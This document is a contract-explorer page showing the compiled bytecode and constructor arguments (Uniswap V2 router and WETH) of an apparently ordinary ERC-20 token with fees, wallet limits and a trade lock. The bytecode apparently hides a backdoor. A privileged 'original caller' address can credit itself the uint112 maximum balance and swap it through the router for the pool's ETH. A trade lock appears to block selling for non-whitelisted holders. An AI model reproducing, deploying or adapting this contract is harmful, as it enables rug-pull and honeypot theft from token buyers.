57600080fd5b506103d7610fa4565b6040516103e491906130b1565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f91906130cc565b610fbb565b6040516104219190612f65565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c9190612ee0565b611150565b60405161045e9190612f3b565b60405180910390f35b34801561047357600080fd5b5061048e600480360381019061048991906130cc565b611180565b005b34801561049c57600080fd5b506104b760048036038101906104b29190612fd9565b6111f0565b005b3480156104c557600080fd5b506104e060048036038101906104db91906130cc565b611309565b6040516104ed9190612f3b565b60405180910390f35b34801561050257600080fd5b5061051d600480360381019061051891906130f9565b61135f565b005b34801561052b57600080fd5b50610546600480360381019061054191906130cc565b6113ee565b6040516105539190612f3b565b60405180910390f35b34801561056857600080fd5b50610583600480360381019061057e91906130cc565b611444565b6040516105909190612f65565b60405180910390f35b3480156105a557600080fd5b506105ae61148d565b005b3480156105bc57600080fd5b506105d760048036038101906105d291906130cc565b6114a1565b6040516105e49190612f3b565b60405180910390f35b3480156105f957600080fd5b506106026114c1565b60405161060f9190613148565b60405180910390f35b34801561062457600080fd5b5061063f600480360381019061063a9190612fd9565b6114ea565b005b34801561064d57600080fd5b50610656611603565b6040516106639190612e16565b60405180910390f35b34801561067857600080fd5b50610693600480360381019061068e91906130cc565b611695565b6040516106a09190612f3b565b60405180910390f35b3480156106b557600080fd5b506106be6116eb565b6040516106cb9190612f3b565b60405180910390f35b3480156106e057600080fd5b506106fb60048036038101906106f69190612ee0565b611702565b6040516107089190612f3b565b60405180910390f35b34801561071d57600080fd5b5061073860048036038101906107339190612ee0565b611772565b6040516107459190612f3b565b60405180910390f35b34801561075a57600080fd5b5061077560048036038101906107709190612fd9565b61178e565b005b34801561078357600080fd5b5061079e60048036038101906107999190613163565b6118a7565b005b3480156107ac57600080fd5b506107b56118f0565b005b3480156107c357600080fd5b506107de60048036038101906107d99190613190565b611926565b6040516107eb9190612f65565b60405180910390f35b34801561080057600080fd5b506108096119ad565b6040516108169190612f65565b60405180910390f35b34801561082b57600080fd5b506108346119b7565b6040516108419190613148565b60405180910390f35b34801561085657600080fd5b50610871600480360381019061086c91906130cc565b6119dd565b60405161087e9190612f3b565b60405180910390f35b34801561089357600080fd5b506108ae60048036038101906108a99190613190565b611a33565b005b3480156108bc57600080fd5b506108d760048036038101906108d291906130cc565b611c87565b005b3480156108e557600080fd5b506108ee611d0a565b6040516108fb9190612f65565b60405180910390f35b606060088054610913906131ff565b80601f016020809104026020016040519081016040528092919081815260200182805461093f906131ff565b801561098c5780601f106109615761010080835404028352916020019161098c565b820191906000526020600020905b81548152906001019060200180831161096f57829003601f168201915b5050505050905090565b6000803390506109a7818585611d14565b600191505092915050565b6109de33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b60006109e930610fbb565b90506000816dffffffffffffffffffffffffffff8016610a09919061325f565b9050610a13611f4f565b610a2530610a2033611444565b611772565b50610a6330600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611d14565b6060600267ffffffffffffffff811115610a8057610a7f613293565b5b604051908082528060200260200182016040528015610aae5781602001602082028036833780820191505090505b5090503081600081518110610ac657610ac56132c2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b919190613306565b81600181518110610ba557610ba46132c2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b042610c359190613333565b6040518663ffffffff1660e01b8152600401610c5595949392919061346a565b6000604051808303816000875af1158015610c74573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610c9d91906135f2565b5050505050565b610cd033600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b610ce230610cdd33611444565b611772565b50610d1830600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d1330611444565b611d14565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610d6130611444565b600080336104b042610d739190613333565b6040518863ffffffff1660e01b8152600401610d949695949392919061363b565b60606040518083038185885af1158015610db2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dd7919061369c565b505050565b6000600754905090565b610e1233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b80600f8190555050565b610e4833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b801515601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed19061373b565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610f6133600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b8060118190555050565b600080339050610f7c858285611fb7565b610f87858585612043565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561102d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105191906137dd565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111009190613306565b73ffffffffffffffffffffffffffffffffffffffff161461113157816dffffffffffffffffffffffffffff16611143565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506111758185856111668589611926565b6111709190613333565b611d14565b600191505092915050565b6111ac33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61121c33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a59061373b565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61138b33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b6014821115801561139d575060148111155b6113dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d3906138a2565b60405180910390fd5b81600b8190555080600c819055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114956129d8565b61149f6000612a4f565b565b600e6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61151633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b801515601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036115a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159f9061373b565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b606060098054611612906131ff565b80601f016020809104026020016040519081016040528092919081815260200182805461163e906131ff565b801561168b5780601f106116605761010080835404028352916020019161168b565b820191906000526020600020905b81548152906001019060200180831161166e57829003601f168201915b5050505050905090565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601360009054906101000a900460ff16905090565b60008033905060006117148286611926565b905083811015611759576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175090613934565b60405180910390fd5b6117668286868403611d14565b60019250505092915050565b600080339050611783818585612043565b600191505092915050565b6117ba33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b801515601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361184c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118439061373b565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6118d333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b80601360006101000a81548160ff02191690831515021790555050565b61191c33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b611924611f4f565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600f54905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611a5f33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611edd565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611af65781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ba4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bc89190613306565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b8152600401611c02929190613954565b602060405180830381865afa158015611c1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c439190613306565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611c8f6129d8565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf5906139ef565b60405180910390fd5b611d0781612a4f565b50565b6000601154905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7a90613a81565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de990613b13565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ed09190612f65565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611f4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4290613ba5565b60405180910390fd5b5050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fae9190613333565b92505081905550565b6000611fc38484611926565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461203d578181101561202f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202690613c11565b60405180910390fd5b61203c8484848403611d14565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a990613ca3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612121576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211890613d35565b60405180910390fd5b61212c838383612b13565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156121b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121aa90613dc7565b60405180910390fd5b601360009054906101000a900460ff1615612304576121d184612cad565b1561226757601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225990613e59565b60405180910390fd5b612303565b61227083612cad565b1561230257601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f890613e59565b60405180910390fd5b5b5b5b61230d84611309565b158015612320575061231e83611309565b155b156128bc5761232e84612cad565b1561256857600061234183600b54612d5f565b9050828261234f919061325f565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808361239e919061325f565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123ec9190613333565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661244e919061325f565b60405161245b9190612f65565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124d49190613333565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161255a9190612f65565b60405180910390a3506128b7565b61257183612cad565b156127ab57600061258483600c54612d5f565b90508282612592919061325f565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836125e1919061325f565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461262f9190613333565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612691919061325f565b60405161269e9190612f65565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127179190613333565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161279d9190612f65565b60405180910390a3506128b6565b81816127b7919061325f565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128499190613333565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128ad9190612f65565b60405180910390a35b5b6129c7565b81816128c8919061325f565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461295a9190613333565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516129be9190612f65565b60405180910390a35b6129d2848484612d81565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff166129f76114c1565b73ffffffffffffffffffffffffffffffffffffffff1614612a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4490613ec5565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600f5414158015612b2c5750612b2a82612cad565b155b8015612b3e5750612b3c826113ee565b155b8015612b505750612b4e836113ee565b155b15612bae57600f5481612b6284611444565b612b6c9190613333565b1115612bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba490613f57565b60405180910390fd5b5b600060115414612ca857601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c5c5750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612ca757601154811115612ca6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9d90613fc3565b60405180910390fd5b5b5b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480612d585750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b600060648284612d6f9190613fe3565b612d799190614054565b905092915050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612dc0578082015181840152602081019050612da5565b60008484015250505050565b6000601f19601f8301169050919050565b6000612de882612d86565b612df28185612d91565b9350612e02818560208601612da2565b612e0b81612dcc565b840191505092915050565b60006020820190508181036000830152612e308184612ddd565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e7782612e4c565b9050919050565b612e8781612e6c565b8114612e9257600080fd5b50565b600081359050612ea481612e7e565b92915050565b6000819050919050565b612ebd81612eaa565b8114612ec857600080fd5b50565b600081359050612eda81612eb4565b92915050565b60008060408385031215612ef757612ef6612e42565b5b6000612f0585828601612e95565b9250506020612f1685828601612ecb565b9150509250929050565b60008115159050919050565b612f3581612f20565b82525050565b6000602082019050612f506000830184612f2c565b92915050565b612f5f81612eaa565b82525050565b6000602082019050612f7a6000830184612f56565b92915050565b600060208284031215612f9657612f95612e42565b5b6000612fa484828501612ecb565b91505092915050565b612fb681612f20565b8114612fc157600080fd5b50565b600081359050612fd381612fad565b92915050565b60008060408385031215612ff057612fef612e42565b5b6000612ffe85828601612e95565b925050602061300f85828601612fc4565b9150509250929050565b60008060006060848603121561303257613031612e42565b5b600061304086828701612e95565b935050602061305186828701612e95565b925050604061306286828701612ecb565b9150509250925092565b60006040820190506130816000830185612f56565b61308e6020830184612f56565b9392505050565b600060ff82169050919050565b6130ab81613095565b82525050565b60006020820190506130c660008301846130a2565b92915050565b6000602082840312156130e2576130e1612e42565b5b60006130f084828501612e95565b91505092915050565b600080604083850312156131105761310f612e42565b5b600061311e85828601612ecb565b925050602061312f85828601612ecb565b9150509250929050565b61314281612e6c565b82525050565b600060208201905061315d6000830184613139565b92915050565b60006020828403121561317957613178612e42565b5b600061318784828501612fc4565b91505092915050565b600080604083850312156131a7576131a6612e42565b5b60006131b585828601612e95565b92505060206131c685828601612e95565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061321757607f821691505b60208210810361322a576132296131d0565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061326a82612eaa565b915061327583612eaa565b925082820390508181111561328d5761328c613230565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061330081612e7e565b92915050565b60006020828403121561331c5761331b612e42565b5b600061332a848285016132f1565b91505092915050565b600061333e82612eaa565b915061334983612eaa565b925082820190508082111561336157613360613230565b5b92915050565b6000819050919050565b6000819050919050565b600061339661339161338c84613367565b613371565b612eaa565b9050919050565b6133a68161337b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6133e181612e6c565b82525050565b60006133f383836133d8565b60208301905092915050565b6000602082019050919050565b6000613417826133ac565b61342181856133b7565b935061342c836133c8565b8060005b8381101561345d57815161344488826133e7565b975061344f836133ff565b925050600181019050613430565b5085935050505092915050565b600060a08201905061347f6000830188612f56565b61348c602083018761339d565b818103604083015261349e818661340c565b90506134ad6060830185613139565b6134ba6080830184612f56565b9695505050505050565b600080fd5b6134d282612dcc565b810181811067ffffffffffffffff821117156134f1576134f0613293565b5b80604052505050565b6000613504612e38565b905061351082826134c9565b919050565b600067ffffffffffffffff8211156135305761352f613293565b5b602082029050602081019050919050565b600080fd5b60008151905061355581612eb4565b92915050565b600061356e61356984613515565b6134fa565b9050808382526020820190506020840283018581111561359157613590613541565b5b835b818110156135ba57806135a68882613546565b845260208401935050602081019050613593565b5050509392505050565b600082601f8301126135d9576135d86134c4565b5b81516135e984826020860161355b565b91505092915050565b60006020828403121561360857613607612e42565b5b600082015167ffffffffffffffff81111561362657613625612e47565b5b613632848285016135c4565b91505092915050565b600060c0820190506136506000830189613139565b61365d6020830188612f56565b61366a604083018761339d565b613677606083018661339d565b6136846080830185613139565b61369160a0830184612f56565b979650505050505050565b6000806000606084860312156136b5576136b4612e42565b5b60006136c386828701613546565b93505060206136d486828701613546565b92505060406136e586828701613546565b9150509250925092565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b6000613725601d83612d91565b9150613730826136ef565b602082019050919050565b6000602082019050818103600083015261375481613718565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b61377e8161375b565b811461378957600080fd5b50565b60008151905061379b81613775565b92915050565b600063ffffffff82169050919050565b6137ba816137a1565b81146137c557600080fd5b50565b6000815190506137d7816137b1565b92915050565b6000806000606084860312156137f6576137f5612e42565b5b60006138048682870161378c565b93505060206138158682870161378c565b9250506040613826868287016137c8565b9150509250925092565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2032300000000000000000000000000000000000000000000000000000000000602082015250565b600061388c602383612d91565b915061389782613830565b604082019050919050565b600060208201905081810360008301526138bb8161387f565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061391e602583612d91565b9150613929826138c2565b604082019050919050565b6000602082019050818103600083015261394d81613911565b9050919050565b60006040820190506139696000830185613139565b6139766020830184613139565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006139d9602683612d91565b91506139e48261397d565b604082019050919050565b60006020820190508181036000830152613a08816139cc565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613a6b602483612d91565b9150613a7682613a0f565b604082019050919050565b60006020820190508181036000830152613a9a81613a5e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613afd602283612d91565b9150613b0882613aa1565b604082019050919050565b60006020820190508181036000830152613b2c81613af0565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000613b8f602183612d91565b9150613b9a82613b33565b604082019050919050565b60006020820190508181036000830152613bbe81613b82565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613bfb601d83612d91565b9150613c0682613bc5565b602082019050919050565b60006020820190508181036000830152613c2a81613bee565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613c8d602583612d91565b9150613c9882613c31565b604082019050919050565b60006020820190508181036000830152613cbc81613c80565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d1f602383612d91565b9150613d2a82613cc3565b604082019050919050565b60006020820190508181036000830152613d4e81613d12565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613db1602683612d91565b9150613dbc82613d55565b604082019050919050565b60006020820190508181036000830152613de081613da4565b9050919050565b7f557365722069736e2774206578636c756465642066726f6d2074726164654c6f60008201527f636b000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e43602283612d91565b9150613e4e82613de7565b604082019050919050565b60006020820190508181036000830152613e7281613e36565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613eaf602083612d91565b9150613eba82613e79565b602082019050919050565b60006020820190508181036000830152613ede81613ea2565b9050919050565b7f416674657220746869732074786e20757365722077696c6c206578636565642060008201527f6d61782077616c6c657400000000000000000000000000000000000000000000602082015250565b6000613f41602a83612d91565b9150613f4c82613ee5565b604082019050919050565b60006020820190508181036000830152613f7081613f34565b9050919050565b7f54786e20416d6f756e7420746f6f206869676821000000000000000000000000600082015250565b6000613fad601483612d91565b9150613fb882613f77565b602082019050919050565b60006020820190508181036000830152613fdc81613fa0565b9050919050565b6000613fee82612eaa565b9150613ff983612eaa565b925082820261400781612eaa565b9150828204841483151761401e5761401d613230565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061405f82612eaa565b915061406a83612eaa565b92508261407a57614079614025565b5b82820490509291505056fea26469706673582212200c60f7e66a89263d861ecc8e03d5f081928919ebbc392cfa2affabd0b687eac564736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2

-----Decoded View---------------
Arg [0] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : pairTokenAddress (address): 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2


Deployed Bytecode Sourcemap

